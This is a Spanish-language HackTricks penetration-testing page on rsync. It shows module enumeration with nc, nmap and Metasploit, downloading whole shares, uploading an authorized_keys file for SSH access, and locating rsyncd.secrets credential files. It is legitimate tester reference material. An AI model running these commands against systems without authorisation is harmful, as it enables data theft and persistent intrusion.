hacktricks/network-services-pentesting/873-pentesting-rsync.md
carlospolop 63bd9641c0 f
2023-06-05 20:33:24 +02:00

4.1 KiB

Información Básica

rsync es una utilidad para transferir y sincronizar archivos de manera eficiente entre una computadora y un disco duro externo, y entre computadoras en red comparando los tiempos de modificación y los tamaños de los archivos. Se encuentra comúnmente en sistemas operativos similares a Unix. El algoritmo de rsync es un tipo de codificación delta y se utiliza para minimizar el uso de la red. Zlib se puede utilizar para compresión de datos adicional, y SSH o stunnel se pueden utilizar para seguridad.

De wikipedia.

Puerto predeterminado: 873

PORT    STATE SERVICE REASON
873/tcp open  rsync   syn-ack

Enumeración

Banner y comunicación manual

nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@RSYNCD: 31.0        <--- You receive this banner with the version from the server
@RSYNCD: 31.0        <--- Then you send the same info
#list                <--- Then you ask the sever to list
raidroot             <--- The server starts enumerating
USBCopy        	
NAS_Public     	
_NAS_Recycle_TOSRAID	<--- Enumeration finished
@RSYNCD: EXIT         <--- Sever closes the connection


#Now lets try to enumerate "raidroot"
nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@RSYNCD: 31.0
@RSYNCD: 31.0
raidroot
@RSYNCD: AUTHREQD 7H6CqsHCPG06kRiFkKwD8g    <--- This means you need the password

Enumerar carpetas compartidas

Un módulo de rsync es esencialmente una carpeta compartida. Estos módulos pueden estar protegidos opcionalmente por una contraseña. Esta opción lista los módulos disponibles y, opcionalmente, determina si el módulo requiere una contraseña para acceder**:**

nmap -sV --script "rsync-list-modules" -p <PORT> <IP>
msf> use auxiliary/scanner/rsync/modules_list

#Example using IPv6 and a different port
rsync -av --list-only rsync://[dead:beef::250:56ff:feb9:e90a]:8730

Ten en cuenta que se podría configurar un nombre compartido para que no se liste. Así que podría haber algo oculto.
Ten en cuenta que puede haber algunos nombres compartidos que se enumeran donde se necesitan algunas (diferentes) credenciales para acceder. Así que no siempre todos los nombres listados van a ser accesibles y lo notarás si recibes un mensaje de "Acceso denegado" al intentar acceder a algunos de ellos.

Fuerza bruta

Rsync manual

Una vez que tienes la lista de módulos, tienes algunas opciones diferentes dependiendo de las acciones que quieras tomar y si se requiere autenticación o no. Si no se requiere autenticación, puedes enumerar una carpeta compartida:

rsync -av --list-only rsync://192.168.0.123/shared_name

Y copiar todos los archivos a tu máquina local mediante el siguiente comando:

rsync -av rsync://192.168.0.123:8730/shared_name ./rsyn_shared

Esto transfiere recursivamente todos los archivos del directorio <shared_name> en la máquina <IP> al directorio ./rsync_shared en la máquina local. Los archivos se transfieren en modo "archivo", lo que garantiza que los enlaces simbólicos, dispositivos, atributos, permisos, propietarios, etc. se conserven en la transferencia.

Si tienes credenciales, puedes listar/descargar un nombre compartido usando (se solicitará la contraseña):

rsync -av --list-only rsync://username@192.168.0.123/shared_name
rsync -av rsync://username@192.168.0.123:8730/shared_name ./rsyn_shared

También se puede subir contenido utilizando rsync (por ejemplo, en este caso podemos subir un archivo authorized_keys para obtener acceso a la caja):

rsync -av home_user/.ssh/ rsync://username@192.168.0.123/home_user/.ssh

POST

Encuentra el archivo de configuración de rsyncd:

find /etc \( -name rsyncd.conf -o -name rsyncd.secrets \)

Dentro del archivo de configuración a veces se puede encontrar el parámetro secrets file = /path/to/file y este archivo puede contener nombres de usuario y contraseñas permitidos para autenticarse en rsyncd.